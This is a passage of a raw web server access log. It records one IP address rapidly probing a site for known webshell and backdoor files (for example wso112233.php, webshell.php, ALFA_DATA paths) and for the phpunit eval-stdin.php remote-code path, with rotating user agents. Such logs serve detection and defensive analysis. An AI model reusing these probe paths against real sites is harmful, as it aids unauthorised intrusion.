Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:50 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:50 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:31:50 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:31:50 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:51 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:51 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:51 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:52 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:31:52 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:52 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:52 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:53 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:53 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:53 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:53 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:54 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:54 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:54 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:55 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:55 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:55 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:31:56 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:56 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:31:56 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:56 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:57 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:57 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:57 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:57 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:58 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:58 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:58 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:58 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:31:59 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:31:59 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.192.172 - - [24/Apr/2025:20:31:59 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:00 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:00 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:00 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:00 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:01 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:01 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:01 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:02 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:32:03 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:03 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:04 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:04 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:32:04 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:05 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:05 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:06 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:06 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:32:07 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:07 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:07 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:08 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:08 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:09 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:09 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:09 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:09 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:10 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:10 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:10 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:10 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:11 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:11 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:11 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:12 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:13 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:32:13 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:13 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:14 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:14 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:15 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:32:15 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:16 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:16 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:17 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:32:17 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:17 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:18 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:18 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:19 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:32:19 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:20 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:20 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:21 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:21 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:21 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:32:22 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:22 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:22 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:23 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:23 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:23 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:24 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:24 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:24 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:24 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:25 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:32:25 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:25 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:32:25 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:32:26 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:32:26 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:32:26 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:32:27 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:32:27 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 